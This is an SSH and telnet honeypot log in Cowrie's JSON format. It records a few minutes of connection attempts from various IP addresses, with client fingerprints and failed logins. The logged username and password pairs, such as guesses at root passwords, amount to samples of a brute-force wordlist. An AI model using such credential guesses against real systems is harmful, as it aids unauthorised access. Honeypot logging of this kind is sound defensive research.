{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":49290,"dst_ip":"159.203.135.109","dst_port":22,"session":"33e61e9b5b00","protocol":"ssh","message":"New connection: 51.250.105.222:49290 (159.203.135.109:22) [session: 33e61e9b5b00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:55:29.401782Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:55:29.405771Z","src_ip":"51.250.105.222","session":"33e61e9b5b00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:55:29.530144Z","src_ip":"51.250.105.222","session":"33e61e9b5b00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Forten1883","message":"login attempt [root/Forten1883] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:55:29.905268Z","src_ip":"51.250.105.222","session":"33e61e9b5b00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:55:31.032444Z","src_ip":"51.250.105.222","session":"33e61e9b5b00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":40408,"dst_ip":"159.203.135.109","dst_port":23,"session":"08ff1fd2dd1a","protocol":"telnet","message":"New connection: 137.184.5.188:40408 (159.203.135.109:23) [session: 08ff1fd2dd1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:55:40.620328Z"}
{"eventid":"cowrie.session.closed","duration":44.93272829055786,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:25.552934Z","src_ip":"137.184.5.188","session":"08ff1fd2dd1a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.65.58.200","src_port":35534,"dst_ip":"159.203.135.109","dst_port":22,"session":"fc93272131e0","protocol":"ssh","message":"New connection: 159.65.58.200:35534 (159.203.135.109:22) [session: fc93272131e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:25.695447Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:25.926264Z","src_ip":"159.65.58.200","session":"fc93272131e0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:25.931020Z","src_ip":"159.65.58.200","session":"fc93272131e0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"suslov","password":"123456","message":"login attempt [suslov/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:27.033093Z","src_ip":"159.65.58.200","session":"fc93272131e0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:28.232699Z","src_ip":"159.65.58.200","session":"fc93272131e0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.223.69.22","src_port":41752,"dst_ip":"159.203.135.109","dst_port":22,"session":"b2f56c16591b","protocol":"ssh","message":"New connection: 89.223.69.22:41752 (159.203.135.109:22) [session: b2f56c16591b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:50.740535Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:50.743294Z","src_ip":"89.223.69.22","session":"b2f56c16591b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:50.852565Z","src_ip":"89.223.69.22","session":"b2f56c16591b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"dtnthjr","message":"login attempt [root/dtnthjr] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:51.181396Z","src_ip":"89.223.69.22","session":"b2f56c16591b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:56:52.293660Z","src_ip":"89.223.69.22","session":"b2f56c16591b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"177.76.134.52","src_port":55526,"dst_ip":"10.17.0.5","dst_port":22,"session":"09c93d1fd4a3","protocol":"ssh","message":"New connection: 177.76.134.52:55526 (10.17.0.5:22) [session: 09c93d1fd4a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:16.225776Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:16.229749Z","src_ip":"177.76.134.52","session":"09c93d1fd4a3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:16.382438Z","src_ip":"177.76.134.52","session":"09c93d1fd4a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123456.abc","message":"login attempt [root/123456.abc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:16.996238Z","src_ip":"177.76.134.52","session":"09c93d1fd4a3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:18.171363Z","src_ip":"177.76.134.52","session":"09c93d1fd4a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"185.243.11.39","src_port":55558,"dst_ip":"10.17.0.5","dst_port":22,"session":"c523ab83a1bd","protocol":"ssh","message":"New connection: 185.243.11.39:55558 (10.17.0.5:22) [session: c523ab83a1bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:34.919414Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:34.923124Z","src_ip":"185.243.11.39","session":"c523ab83a1bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:35.012642Z","src_ip":"185.243.11.39","session":"c523ab83a1bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"F1L!Tr0ng#P@ss","message":"login attempt [root/F1L!Tr0ng#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:35.280680Z","src_ip":"185.243.11.39","session":"c523ab83a1bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:36.376450Z","src_ip":"185.243.11.39","session":"c523ab83a1bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":32952,"dst_ip":"159.203.135.109","dst_port":22,"session":"6de760d0b83e","protocol":"ssh","message":"New connection: 103.27.238.116:32952 (159.203.135.109:22) [session: 6de760d0b83e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:51.844169Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:51.847679Z","src_ip":"103.27.238.116","session":"6de760d0b83e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:52.124859Z","src_ip":"103.27.238.116","session":"6de760d0b83e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"serega1987","message":"login attempt [root/serega1987] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:52.954046Z","src_ip":"103.27.238.116","session":"6de760d0b83e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:57:54.232465Z","src_ip":"103.27.238.116","session":"6de760d0b83e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":50440,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ab97def2856","protocol":"telnet","message":"New connection: 170.64.224.25:50440 (159.203.135.109:23) [session: 9ab97def2856]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:05.133774Z"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":46304,"dst_ip":"10.17.0.5","dst_port":22,"session":"8fd0e3da410e","protocol":"ssh","message":"New connection: 103.27.238.120:46304 (10.17.0.5:22) [session: 8fd0e3da410e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:05.429809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:05.432787Z","src_ip":"103.27.238.120","session":"8fd0e3da410e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:05.694945Z","src_ip":"103.27.238.120","session":"8fd0e3da410e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"240992","message":"login attempt [root/240992] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:06.485312Z","src_ip":"103.27.238.120","session":"8fd0e3da410e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:07.751305Z","src_ip":"103.27.238.120","session":"8fd0e3da410e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":39584,"dst_ip":"159.203.135.109","dst_port":23,"session":"251d18242d1f","protocol":"telnet","message":"New connection: 137.184.5.188:39584 (159.203.135.109:23) [session: 251d18242d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:16.890311Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.241.132.172","src_port":57034,"dst_ip":"10.17.0.5","dst_port":22,"session":"ba8a4c4a7d8b","protocol":"ssh","message":"New connection: 162.241.132.172:57034 (10.17.0.5:22) [session: ba8a4c4a7d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:17.404624Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:17.408070Z","src_ip":"162.241.132.172","session":"ba8a4c4a7d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:17.436063Z","src_ip":"162.241.132.172","session":"ba8a4c4a7d8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"mog","password":"mog456","message":"login attempt [mog/mog456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:17.523427Z","src_ip":"162.241.132.172","session":"ba8a4c4a7d8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T11:58:18.555659Z","src_ip":"162.241.132.172","session":"ba8a4c4a7d8b","protocol":"ssh"}
